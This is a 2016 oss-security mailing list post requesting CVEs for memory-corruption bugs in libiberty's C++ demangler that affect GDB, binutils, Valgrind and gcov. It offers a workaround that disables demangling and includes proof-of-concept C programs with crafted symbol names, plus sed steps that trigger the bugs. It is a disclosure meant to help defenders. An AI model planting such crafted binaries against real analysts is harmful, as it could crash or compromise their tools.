oss-security - CVE Request: No Demangling During Analysis of Untrusted Binaries

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 5 May 2016 11:12:10 +0800
From: Marcel Böhme <boehme.marcel@...il.com>
To: CVE ID Requests <cve-assign@...re.org>,
 oss-security@...ts.openwall.com
Cc: Bernd Schmidt <bschmidt@...hat.com>,
 florian@...h-krohm.de,
 nickc@...hat.com
Subject: CVE Request: No Demangling During Analysis of Untrusted Binaries

Hi all,

Attack Vector 1: Security researchers using binary analysis tools, such as Valgrind, GDB, Binutils (e.g., objdump, nm, ..), Gcov, or other LibBFD-based tools on untrusted binaries are vulnerable to arbitrary code execution through several vulnerabilities in Libiberty, the GNU demangling library maintained by GCC. An attacker might modify a program binary such that it executes malicious code upon *analysis* (e.g., an analysis to identify whether the binary is malicious in the first place). 

Attack Vector 2: Remote access / DoS via Online IDEs or demangling services.

Workaround: Until the patches propagate to the vulnerable tools, switch off default demangling! E.g.,
$ echo "set demangle-style none"  >>  ~/.gdbinit
$ echo "--demangle=no" >> ~/.valgrindrc

Details and reproducers in the bug reports:

1) Exploitable Buffer Overflow (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=69687

2) Invalid Write due to a Use-After-Free (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70481

3) Invalid Write due to Integer Overflow (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70492

4) Write Access Violation (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70498

5) Various Stack Corruptions (Patch under Review)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70909
https://gcc.gnu.org/ml/gcc-patches/2016-05/threads.html#00105

6) Write Access Violation (Patch under Review)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70926
https://gcc.gnu.org/ml/gcc-patches/2016-05/threads.html#00223

These vulnerabilities have been found with a more efficient version of the AFL fuzzer.
A recent 12h fuzzing session on the patched version did not reveal any more security critical bugs in the demangling library.

POC for PR69687
========================

** GDB and BINUTILS
$ cat comileme.c
#include <stdio.h>
const char *__020A___________________X00020A___R0020A__U000R03000N99999999_020A__K000="Hello World";
int main() {
  printf("%s\n",__020A___________________X00020A___R0020A__U000R03000N99999999_020A__K000);
}
$ g++ compileme.c -o compileme
$ ./compileme
Hello World!
$ gdb ./compileme
..
$ objdump -x -C ./compileme
..
$ nm -C ./compileme
..

** VALGRIND + GCOV:
$ cat compilemetoo.c
#include<stdio.h>
#include<stdlib.h>

const char* ____________________X00020A___R0020A__U000R03000N99999999_020A__K000(){
  char *p;
  p = (char *) malloc(19);
  p = (char *) malloc(12);
  free(p);
  p = (char *) malloc(16);
  return "Hello World!";
}

int main()
{
   printf("%s\n",____________________X00020A___R0020A__U000R03000N99999999_020A__K000());
   return 0;
}

$ g++ compilemetoo.c -o compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo
$ chmod u+x compilemetoo
$ ./compilemetoo
Hello World!
$ valgrind --leak-check=yes ./compilemetoo
..

GCOV:
$ g++ -fprofile-arcs -ftest-coverage compilemetoo.c -o compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo.gcda
$ ./compilemetoo
Hello World!
$ gcov --version
gcov (GCC) 7.0.0
$ gcov -mf compilemetoo
..

Best regards,
- Marcel

---
Marcel Böhme
Post-doctoral Research Fellow
TSUNAMi Security Research Center
National University of Singapore

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.